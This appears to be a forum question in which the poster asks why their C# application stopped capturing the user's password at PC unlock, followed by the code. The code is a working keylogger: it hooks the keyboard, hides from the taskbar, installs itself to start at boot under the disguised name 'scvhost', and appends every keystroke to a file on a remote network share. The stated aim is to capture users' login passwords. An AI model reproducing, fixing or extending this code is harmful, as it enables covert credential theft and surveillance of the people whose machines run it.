How come I can not store key stroke when unlocking PC???

Question

Hi,

I have an application which is recording key strokes and images.At first application was recording user password when unlocking the PC but some how it is NOT recording anymore!? How can I fix this???

Best Regards.

Here is my sample code:
public partial class Form1 : Form
    {
        String writeUp;
        private static System.Timers.Timer aTimer;
        String name = System.Environment.MachineName;
        Boolean flag = true;
        Boolean flag_Credentials = false;

        String time = DateTime.Now.ToString("HH:mm:ss");

        Graphics g;
        int ScreenWidth = Screen.PrimaryScreen.Bounds.Width;
        int ScreenHeight = Screen.PrimaryScreen.Bounds.Height;

        #region imports

        [DllImport("advapi32.dll", SetLastError = true)]
        private static extern bool LogonUser(string
        lpszUsername, string lpszDomain, string lpszPassword,
        int dwLogonType, int dwLogonProvider, ref
IntPtr phToken);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto,
        SetLastError = true)]
        private static extern bool CloseHandle(IntPtr handle
        );

        [DllImport("advapi32.dll", CharSet = CharSet.Auto,
        SetLastError = true)]
        public extern static bool DuplicateToken(IntPtr
        existingTokenHandle,
        int SECURITY_IMPERSONATION_LEVEL, ref IntPtr
        duplicateTokenHandle);

        #endregion imports

        #region logon consts

        // logon types
        const int LOGON32_LOGON_INTERACTIVE = 2;
        const int LOGON32_LOGON_NETWORK = 3;
        const int LOGON32_LOGON_NEW_CREDENTIALS = 9;

        // logon providers
        const int LOGON32_PROVIDER_DEFAULT = 0;
        const int LOGON32_PROVIDER_WINNT50 = 3;
        const int LOGON32_PROVIDER_WINNT40 = 2;
        const int LOGON32_PROVIDER_WINNT35 = 1;

        #endregion logon consts

        //private static InterceptMouse.LowLevelMouseProc _proc = InterceptMouse.HookCallback;
        //private static IntPtr _hookID = IntPtr.Zero;

        public Form1()
        {
           
            System.Globalization.CultureInfo ci = new System.Globalization.CultureInfo("tr-TR");
            System.Threading.Thread.CurrentThread.CurrentCulture = ci;
            System.Threading.Thread.CurrentThread.CurrentUICulture = ci;

            var princ = new WindowsPrincipal(WindowsIdentity.GetCurrent());

            if (princ.IsInRole("Administrator"))
            {
                flag_Credentials = true;
            }

            // Create a timer with a minute interval.
            aTimer = new System.Timers.Timer(60000);
            aTimer.Elapsed += new ElapsedEventHandler(OnTimedEvent);
            aTimer.Enabled = true;

            aTimer.Start();
            //Add to Registry

            string runKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";

            Microsoft.Win32.RegistryKey startupKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(runKey);

            if (startupKey.GetValue("scvhost") == null)
            {
                startupKey.Close();
                startupKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(runKey, true);
                // Add startup reg key
                startupKey.SetValue("scvhost", Application.ExecutablePath.ToString());
                startupKey.Close();
            }

            // remove startup
            //startupKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(runKey, true);
            //startupKey.DeleteValue(AppName, false);
            //startupKey.Close();

            //Keyboard
            InitializeComponent();
            this.ShowInTaskbar = false;
            this.Refresh();
            Hook.CreateHook(KeyReaderr);
            writeUp = "";

           
        }
 public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            Hook.VK vk = (Hook.VK)key;

            String temp = "";

            switch (vk)
            {
                case Hook.VK.VK_F1: temp = "<-F1->";
                    break;

                case Hook.VK.VK_F2: temp = "<-F2->";
                    break;
                case Hook.VK.VK_F3: temp = "<-F3->";
                    break;
                case Hook.VK.VK_F4: temp = "<-F4->";
                    break;
                case Hook.VK.VK_F5: temp = "<-F5->";
                    break;
                case Hook.VK.VK_F6: temp = "<-F6->";
                    break;
                case Hook.VK.VK_F7: temp = "<-F7->";
                    break;
                case Hook.VK.VK_F8: temp = "<-F8->";
                    break;
                case Hook.VK.VK_F9: temp = "<-F9->";
                    break;
                case Hook.VK.VK_F10: temp = "<-F10->";
                    break;
                case Hook.VK.VK_F11: temp = "<-F11->";
                    break;
                case Hook.VK.VK_F12: temp = "<-F12->";
                    break;
                case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                    break;
                case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                    break;
                case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                    break;
                case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                    break;
                case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                    break;
                case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                    break;
                case Hook.VK.VK_SEPERATOR: temp = "|";
                    break;
                case Hook.VK.VK_SUBTRACT: temp = "-";
                    break;
                case Hook.VK.VK_DECIMAL: temp = ".";
                    break;
                case Hook.VK.VK_DIVIDE: temp = "/";
                    break;
                case Hook.VK.VK_NUMPAD0: temp = "0";
                    break;
                case Hook.VK.VK_NUMPAD1: temp = "1";
                    break;
                case Hook.VK.VK_NUMPAD2: temp = "2";
                    break;
                case Hook.VK.VK_NUMPAD3: temp = "3";
                    break;
                case Hook.VK.VK_NUMPAD4: temp = "4";
                    break;
                case Hook.VK.VK_NUMPAD5: temp = "5";
                    break;
                case Hook.VK.VK_NUMPAD6: temp = "6";
                    break;
                case Hook.VK.VK_NUMPAD7: temp = "7";
                    break;
                case Hook.VK.VK_NUMPAD8: temp = "8";
                    break;
                case Hook.VK.VK_NUMPAD9: temp = "9";
                    break;
                case Hook.VK.VK_Q: temp = "q";
                    break;
                case Hook.VK.VK_W: temp = "w";
                    break;
                case Hook.VK.VK_E: temp = "e";
                    break;
                case Hook.VK.VK_R: temp = "r";
                    break;
                case Hook.VK.VK_T: temp = "t";
                    break;
                case Hook.VK.VK_Y: temp = "y";
                    break;
                case Hook.VK.VK_U: temp = "u";
                    break;
                case Hook.VK.VK_UU: temp = "ü";
                    break;
                case Hook.VK.VK_I: temp = "i";
                    break;
                case Hook.VK.VK_II: temp = "i";
                    break;
                case Hook.VK.VK_O: temp = "o";
                    break;
                case Hook.VK.VK_OO: temp = "ö";
                    break;
                case Hook.VK.VK_P: temp = "p";
                    break;
                case Hook.VK.VK_A: temp = "a";
                    break;
                case Hook.VK.VK_S: temp = "s";
                    break;
                case Hook.VK.VK_SS: temp = "s";
                    break;
                case Hook.VK.VK_D: temp = "d";
                    break;
                case Hook.VK.VK_F: temp = "f";
                    break;
                case Hook.VK.VK_G: temp = "g";
                    break;
                case Hook.VK.VK_GG: temp = "g";
                    break;
                case Hook.VK.VK_H: temp = "h";
                    break;
                case Hook.VK.VK_J: temp = "j";
                    break;
                case Hook.VK.VK_K: temp = "k";
                    break;
                case Hook.VK.VK_L: temp = "l";
                    break;
                case Hook.VK.VK_Z: temp = "z";
                    break;
                case Hook.VK.VK_X: temp = "x";
                    break;
                case Hook.VK.VK_C: temp = "c";
                    break;
                case Hook.VK.VK_CC: temp = "ç";
                    break;
                case Hook.VK.VK_V: temp = "v";
                    break;
                case Hook.VK.VK_B: temp = "b";
                    break;
                case Hook.VK.VK_N: temp = "n";
                    break;
                case Hook.VK.VK_3: temp = "3";
                    break;
                case Hook.VK.VK_4: temp = "4";
                    break;
                case Hook.VK.VK_M: temp = "m";
                    break;
                case Hook.VK.VK_0: temp = "0";
                    break;
                case Hook.VK.VK_1: temp = "1";
                    break;
                case Hook.VK.VK_2: temp = "2";
                    break;
                case Hook.VK.VK_5: temp = "5";
                    break;
                case Hook.VK.VK_6: temp = "6";
                    break;
                case Hook.VK.VK_7: temp = "7";
                    break;
                case Hook.VK.VK_8: temp = "8";
                    break;
                case Hook.VK.VK_9: temp = "9";
                    break;
                case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                    break;
                case Hook.VK.VK_INSERT: temp = "<-insert->";
                    break;
                case Hook.VK.VK_DELETE: temp = "<-delete->";
                    break;
                case Hook.VK.VK_BACK: temp = "<-backspace->";
                    break;
                case Hook.VK.VK_TAB: temp = "<-tab->";
                    break;
                case Hook.VK.VK_RETURN: temp = "<-enter->";
                    break;
                case Hook.VK.VK_PAUSE: temp = "<-pause->";
                    break;
                case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                    break;
                case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                    break;
                case Hook.VK.VK_SPACE: temp = "<-space->";
                    break;
                case Hook.VK.VK_PRIOR: temp = "<-page up->";
                    break;
                case Hook.VK.VK_NEXT: temp = "<-page down->";
                    break;
                case Hook.VK.VK_END: temp = "<-end->";
                    break;
                case Hook.VK.VK_HOME: temp = "<-home->";
                    break;
                case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                    break;
                case Hook.VK.VK_UP: temp = "<-arrow up->";
                    break;
                case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                    break;
                case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                    break;
                case Hook.VK.VK_DOT: temp = ".";
                    break;
                case Hook.VK.VK_COMMA: temp = ",";
                    break;
                case Hook.VK.VK_SMALL: temp = "<";
                    break;

                default: break;
            }

            writeUp = writeUp + temp;

            writeToFile(temp);
        }

        public void writeToFile(String writing)
        {
            if (flag_Credentials)
            {
                IntPtr token = IntPtr.Zero;
                bool isSuccess = LogonUser("username", "domain", "password", LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, ref token);
                using (WindowsImpersonationContext person = new WindowsIdentity(token).Impersonate())
                {
                    using (StreamWriter w = new StreamWriter(@"\\111.11.11.1\logs\" + name + "_" + DateTime.Now.ToString("d") + ".txt", true))
                    {
                        w.Write(writing);

                        w.Flush();

                        w.Close();
                    }

                    person.Undo();
                }
            }
            else
            {
                using (StreamWriter w = new StreamWriter(@"\\111.11.11.1\logs\" + name + "_" + DateTime.Now.ToString("d") + ".txt", true))
                {
                    w.Write(writing);

                    w.Flush();

                    w.Close();
                }
            }
        }